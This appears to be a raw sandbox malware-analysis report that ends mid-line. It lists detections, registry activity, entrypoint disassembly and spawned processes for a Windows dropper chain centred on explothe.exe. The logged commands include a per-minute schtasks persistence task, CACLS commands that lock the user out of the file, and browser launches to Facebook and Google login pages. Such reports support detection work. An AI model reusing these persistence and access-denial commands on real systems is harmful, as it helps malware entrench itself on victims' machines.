"Compiler" "1Nd23RF4.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "1Nd23RF4.exe" was detected as "Microsoft Linker" and name: "Linker" "2pQ5650.exe" was detected as "Microsoft Cabinet" and name: "sfx" "2pQ5650.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "2pQ5650.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "2pQ5650.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "2pQ5650.exe" was detected as "Microsoft Linker" and name: "Linker" "6BL1kL7.exe" was detected as "Microsoft Cabinet" and name: "sfx" "6BL1kL7.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "6BL1kL7.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "6BL1kL7.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "6BL1kL7.exe" was detected as "Microsoft Linker" and name: "Linker"4d:T109f,"1Nd23RF4.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "5nB9ui9.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "5nB9ui9.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "5nB9ui9.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "5nB9ui9.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") "5nB9ui9.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\SHELLFOLDER") "5nB9ui9.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "5nB9ui9.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "explothe.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}\LOCALSERVER32") "explothe.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}\LOCALSERVER32") "explothe.exe" touched "NetworkListManager" (Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}") "explothe.exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}") "explothe.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "explothe.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "explothe.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "explothe.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "explothe.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "explothe.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "explothe.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "explothe.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "explothe.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "explothe.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "explothe.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "explothe.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "explothe.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "explothe.exe" touched "Windows Search Service Media Center Namespace Extension Handler" (Path: "HKCU\CLSID\{98D99750-0B8A-4C59-9151-589053683D73}\SHELLFOLDER") "explothe.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "explothe.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "explothe.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "explothe.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "explothe.exe" touched "Sticky Notes Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{F3F5824C-AD58-4728-AF59-A1EBE3392799}\SHELLFOLDER") "cmd.exe" touched "Application Registration" (Path: "HKCU\CLSID\{591209C7-767B-42B2-9FBA-44EE4615F2C7}\TREATAS")4e:T1757,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "gF3mD54.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "4em853cx.exe" file has an entrypoint instructions - "jmp 0x44a090,jmp 0x4611c4,jmp 0x452690,jmp 0x43e229,jmp 0x42a03b,jmp 0x4ad040,jmp 0x43e6e7,jmp 0x461fa7,jmp 0x414ef0,jmp 0x4b4969,jmp 0x424d0e,jmp 0x44ac80,jmp 0x423949,jmp 0x45b030,jmp 0x43502b,jmp 0x45c466,jmp 0x4263a8,jmp 0x422a06,jmp 0x49ad5f,jmp 0x418320," "oi9NR71.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "3Cf23Ki.exe" file has an entrypoint instructions - "jmp 0x44a090,jmp 0x4611c4,jmp 0x452690,jmp 0x43e229,jmp 0x42a03b,jmp 0x4ad040,jmp 0x43e6e7,jmp 0x461fa7,jmp 0x414ef0,jmp 0x4b4969,jmp 0x424d0e,jmp 0x44ac80,jmp 0x423949,jmp 0x45b030,jmp 0x43502b,jmp 0x45c466,jmp 0x4263a8,jmp 0x422a06,jmp 0x49ad5f,jmp 0x418320," "ZF2zr63.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "Cb7yP98.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "5nB9ui9.exe" file has an entrypoint instructions - "call 0x414888,jmp 0x41427f,jmp 0x4186fa,push ebp,mov ebp, esp,sub esp, 0x324,push ebx,push 0x17,call 0x4273e3,test eax, eax,je 0x41442a,mov ecx, dword ptr [ebp + 8],int 0x29,push 3,call 0x4145d7,mov dword ptr [esp], 0x2cc,lea eax, [ebp - 0x324],push 0,push eax,call 0x414ec0,add esp, 0xc,mov dword ptr [ebp - 0x274], eax,mov dword ptr [ebp - 0x278], ecx,mov dword ptr [ebp - 0x27c], edx,mov dword ptr [ebp - 0x280], ebx," "1Nd23RF4.exe" file has an entrypoint instructions - "call 0x412a15,jmp 0x40cbdd,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x20,mov eax, dword ptr [ebp + 8],push esi,push edi,push 8,pop ecx,mov esi, 0x41f058,lea edi, [ebp - 0x20],rep movsd dword ptr es:[edi], dword ptr [esi],mov dword ptr [ebp - 8], eax,mov eax, dword ptr [ebp + 0xc],pop edi,mov dword ptr [ebp - 4], eax,pop esi,test eax, eax,je 0x40cd6e,test byte ptr [eax], 8,je 0x40cd6e,mov dword ptr [ebp - 0xc], 0x1994000,lea eax, [ebp - 0xc],push eax,push dword ptr [ebp - 0x10],push dword ptr [ebp - 0x1c],push dword ptr [ebp - 0x20],call dword ptr [0x41b000],leave ,ret 8,ret ,mov eax, 0x413563,mov dword ptr [0x4228e4], eax," "2pQ5650.exe" file has an entrypoint instructions - "call 0x4014e9,jmp 0x4010c5,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi,mov ecx, dword ptr [eax + 0x3c],add ecx, eax,movzx eax, word ptr [ecx + 0x14],lea edx, [ecx + 0x18],add edx, eax,movzx eax, word ptr [ecx + 6],imul esi, eax, 0x28,add esi, edx,cmp edx, esi,je 0x401286,mov ecx, dword ptr [ebp + 0xc],cmp ecx, dword ptr [edx + 0xc],jb 0x40127f,mov eax, dword ptr [edx + 8],add eax, dword ptr [edx + 0xc],cmp ecx, eax,jb 0x40128b,add edx, 0x28,cmp edx, esi,jne 0x401270,xor eax, eax,pop esi,pop ebp,ret ,mov eax, edx,jmp 0x401288,push esi,call 0x401a29,test eax, eax,je 0x4012b9,mov eax, dword ptr fs:[0x18],mov esi, 0x42bd74," "6BL1kL7.exe" file has an entrypoint instructions - "pushal ,mov esi, 0x412015,lea edi, [esi - 0x11015],push edi,mov ebp, esp,lea ebx, [esp - 0x3e80],xor eax, eax,push eax,cmp esp, ebx,jne 0x41bca8,inc esi,inc esi,push ebx,push 0x19a62,push edi,add ebx, 4,push ebx,push 0x9c78,push esi,add ebx, 4,push ebx,push eax,mov dword ptr [ebx], 0x20003,push ebp,push edi,push esi,push ebx,sub esp, 0x7c,mov edx, dword ptr [esp + 0x90],mov dword ptr [esp + 0x74], 0,mov byte ptr [esp + 0x73], 0,mov ebp, dword ptr [esp + 0x9c],lea eax, [edx + 4],mov dword ptr [esp + 0x78], eax,"4f:Tafb,Process "gF3mD54.exe" (UID: 00000000-00001884) was launched with new environment variables: "__COMPAT_LAYER="ElevateCreateProcess WRPMitigationLayer", USERDNSDOMAIN="%OSUSER%-PC"" Process "gF3mD54.exe" (UID: 00000000-00001884) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00003868) was launched with new environment variables: "b2eincfilepath="%TEMP%\IXP000.TMP"" Process "schtasks.exe" (UID: 00000000-00002808) was launched with missing environment variables: "b2eincfilepath" Process "iexplore.exe" (UID: 00000000-00003392) was launched with new environment variables: "PROMPT="$P$G", b2eincfilepath="%TEMP%\IXP000.TMP"" Process "iexplore.exe" (UID: 00000000-00003392) was launched with modified environment variables: "Path" Process "cmd.exe" (UID: 00000000-00002248) was launched with modified environment variables: "Path" Process "cmd.exe" (UID: 00000000-00002248) was launched with missing environment variables: "b2eincfilepath" Process "iexplore.exe" (UID: 00000000-00003108) was launched with new environment variables: "b2eincfilepath="%TEMP%\IXP000.TMP"" Process "iexplore.exe" (UID: 00000000-00003108) was launched with modified environment variables: "Path" Process "explothe.exe" (UID: 00000000-00002792) was launched with modified environment variables: "Path, NUMBER_OF_PROCESSORS" Process "explothe.exe" (UID: 00000000-00002792) was launched with missing environment variables: "PROMPT, __COMPAT_LAYER, b2eincfilepath, USERDNSDOMAIN" Process "iexplore.exe" (UID: 00000000-00004496) was launched with new environment variables: "PROMPT="$P$G", __COMPAT_LAYER="ElevateCreateProcess WRPMitigationLayer", b2eincfilepath="%TEMP%\IXP000.TMP", USERDNSDOMAIN="%OSUSER%-PC"" Process "iexplore.exe" (UID: 00000000-00004496) was launched with modified environment variables: "Path, NUMBER_OF_PROCESSORS" Process "cacls.exe" (UID: 00000000-00002900) was launched with modified environment variables: "Path" Process "cacls.exe" (UID: 00000000-00002900) was launched with missing environment variables: "b2eincfilepath" Process "iexplore.exe" (UID: 00000000-00005200) was launched with new environment variables: "b2eincfilepath="%TEMP%\IXP000.TMP"" Process "iexplore.exe" (UID: 00000000-00005200) was launched with modified environment variables: "Path" Process "cacls.exe" (UID: 00000000-00003280) was launched with modified environment variables: "Path" Process "cacls.exe" (UID: 00000000-00003280) was launched with missing environment variables: "b2eincfilepath" Process "explothe.exe" (UID: 00000000-00005488) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "explothe.exe" (UID: 00000000-00005488) was launched with missing environment variables: "PROMPT, __COMPAT_LAYER, USERDNSDOMAIN"50:T8a0,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "gF3mD54.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "gF3mD54.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "oi9NR71.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "oi9NR71.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "ZF2zr63.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "ZF2zr63.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Cb7yP98.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Cb7yP98.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1Nd23RF4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "1Nd23RF4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1Nd23RF4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "2pQ5650.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "2pQ5650.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "3Cf23Ki.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "3Cf23Ki.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "4em853cx.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "4em853cx.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "5nB9ui9.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "5nB9ui9.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "explothe.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "explothe.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US")51:Teef,Observed system executable string:"C:\Windows\system32\apphelp.dll" [Source: 00001884.0000075C.986932.00090000.wprm] Observed system executable string:"%WINDIR%\system32\advpack.dll" [Source: 00000000-00001380-00000C2B-222731584] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00001380-00000BC1-222874301] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00001884-00000BC1-223709409] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00004376-00000C2B-224188598] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00004376-00000BC1-224716423] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"" [Source: 00000000-00003660-00000BC1-225391182] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"" [Source: 00000000-00003620-00000BC1-225562725] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00002836-00000C2B-227593689] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00002836-00000C2B-230210673] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00002836-00000C2B-230934665] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00002836-00000C2B-231375148] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00002836-00000C2B-231769314] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00002836-00000C2B-232008289] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00002836-00000C2B-232305973] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00002836-00000C2B-233200354] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00002836-00000C2B-233643065] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00002836-00000C2B-233812624] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll" [Source: 00000000-00002836-00000C2B-233972271] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll" [Source: 00000000-00002836-00000C2B-234185920] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00002836-00000C2B-234367608] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00002836-00000C2B-235030443] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00002836-00000C2B-235770319] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00002836-00000C2B-236058243] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" [Source: 00000000-00002836-00000C2B-236628296]52:T816,Spawned process "gF3mD54.exe" (UID: 00000000-00001884) Spawned process "oi9NR71.exe" (UID: 00000000-00004376) Spawned process "ZF2zr63.exe" (UID: 00000000-00003660) Spawned process "Cb7yP98.exe" (UID: 00000000-00003620) Spawned process "1Nd23RF4.exe" (UID: 00000000-00002836) Spawned process "2pQ5650.exe" (UID: 00000000-00001864) Spawned process "3Cf23Ki.exe" (UID: 00000000-00001520) Spawned process "AppLaunch.exe" (UID: 00000000-00004624) Spawned process "4em853cx.exe" (UID: 00000000-00003232) Spawned process "AppLaunch.exe" (UID: 00000000-00003236) Spawned process "5nB9ui9.exe" (UID: 00000000-00002000) Spawned process "explothe.exe" (UID: 00000000-00003888) Spawned process "6BL1kL7.exe" (UID: 00000000-00003560) Spawned process "cmd.exe" with commandline "/c "%TEMP%\\3246.tmp\\3247.tmp\\3248.bat %TEMP%\\IXP000.TMP\\6BL ..." (UID: 00000000-00003868), Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 1 /TN explothe.exe /TR "%TEMP%\\fefffe8ce ..." (UID: 00000000-00002808) Spawned process "cmd.exe" with commandline "/k echo Y|CACLS "explothe.exe" /P "%OSUSER%:N"&&CACLS "explothe. ..." (UID: 00000000-00002644), Spawned process "iexplore.exe" with commandline "https://www.facebook.com/login" (UID: 00000000-00003392), Spawned process "iexplore.exe" with commandline "https://www.youtube.com/" (UID: 00000000-00003820), Spawned process "cmd.exe" with commandline "/S /D /c" echo Y"" (UID: 00000000-00002248), Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "%OSUSER%:N"" (UID: 00000000-00003112), Spawned process "iexplore.exe" with commandline "SCODEF:3392 CREDAT:275458 /prefetch:2" (UID: 00000000-00003108), Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00003104), Spawned process "explothe.exe" (UID: 00000000-00002792), Spawned process "iexplore.exe" with commandline "SCODEF:3820 CREDAT:275457 /prefetch:2" (UID: 00000000-00004496), Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "%OSUSER%:R" /E" (UID: 00000000-00002900)53:T816,Spawned process "gF3mD54.exe" (UID: 00000000-00001884) Spawned process "oi9NR71.exe" (UID: 00000000-00004376) Spawned process "ZF2zr63.exe" (UID: 00000000-00003660) Spawned process "Cb7yP98.exe" (UID: 00000000-00003620) Spawned process "1Nd23RF4.exe" (UID: 00000000-00002836) Spawned process "2pQ5650.exe" (UID: 00000000-00001864) Spawned process "3Cf23Ki.exe" (UID: 00000000-00001520) Spawned process "AppLaunch.exe" (UID: 00000000-00004624) Spawned process "4em853cx.exe" (UID: 00000000-00003232) Spawned process "AppLaunch.exe" (UID: 00000000-00003236) Spawned process "5nB9ui9.exe" (UID: 00000000-00002000) Spawned process "explothe.exe" (UID: 00000000-00003888) Spawned process "6BL1kL7.exe" (UID: 00000000-00003560) Spawned process "cmd.exe" with commandline "/c "%TEMP%\\3246.tmp\\3247.tmp\\3248.bat %TEMP%\\IXP000.TMP\\6BL ..." (UID: 00000000-00003868), Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 1 /TN explothe.exe /TR "%TEMP%\\fefffe8ce ..." (UID: 00000000-00002808) Spawned process "cmd.exe" with commandline "/k echo Y|CACLS "explothe.exe" /P "%OSUSER%:N"&&CACLS "explothe. ..." (UID: 00000000-00002644), Spawned process "iexplore.exe" with commandline "https://www.facebook.com/login" (UID: 00000000-00003392), Spawned process "iexplore.exe" with commandline "https://www.youtube.com/" (UID: 00000000-00003820), Spawned process "cmd.exe" with commandline "/S /D /c" echo Y"" (UID: 00000000-00002248), Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "%OSUSER%:N"" (UID: 00000000-00003112), Spawned process "iexplore.exe" with commandline "SCODEF:3392 CREDAT:275458 /prefetch:2" (UID: 00000000-00003108), Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00003104), Spawned process "explothe.exe" (UID: 00000000-00002792), Spawned process "iexplore.exe" with commandline "SCODEF:3820 CREDAT:275457 /prefetch:2" (UID: 00000000-00004496), Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "%OSUSER%:R" /E" (UID: 00000000-00002900)54:Tab9,The input sample is signed with a certificate issued by "CN=WR2, O=Google Trust Services, C=US" (SHA1: 64:D6:F8:4D:6D:41:DD:C8:84:FF:B5:AF:E5:36:6E:EB:F1:FD:B9:4B; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R1, O=Google Trust Services LLC, C=US" (SHA1: 66:E4:16:12:60:B1:00:FE:E0:DE:28:7A:9A:52:93:B4:C2:22:4A:E6; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 08:74:54:87:E8:91:C1:9E:30:78:C1:F2:A0:7E:45:29:50:EF:36:F6; see report for more information) The input sample is signed with a certificate issued by "CN=WR2, O=Google Trust Services, C=US" (SHA1: 9E:E4:0B:D8:22:18:95:CA:F3:60:D0:A9:F5:51:6A:A9:AA:64:B5:C2; see report for more information) The input sample is signed with a certificate issued by "CN=WR2, O=Google Trust Services, C=US" (SHA1: 1E:50:A8:26:86:57:06:AF:03:D0:36:74:91:62:52:AE:87:D0:50:0C; see report for more information) The input sample is signed with a certificate issued by "CN=WR2, O=Google Trust Services, C=US" (SHA1: B7:46:09:45:08:65:39:24:A9:15:3D:36:1B:A8:14:83:15:F8:BC:DE; see report for more information) The input sample is signed with a certificate issued by "CN=WE2, O=Google Trust Services, C=US" (SHA1: AB:CB:A4:4C:A5:65:CD:AE:7D:49:56:A1:8A:F1:7C:FB:63:84:AE:13; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 4D:9A:CB:31:3D:73:DA:2E:9E:B4:51:A7:CF:63:09:AF:45:C9:93:C1; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global G2 TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US" (SHA1: DD:29:7F:C5:F5:66:73:7E:54:44:44:96:F7:7D:FD:40:51:8B:2A:DF; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root 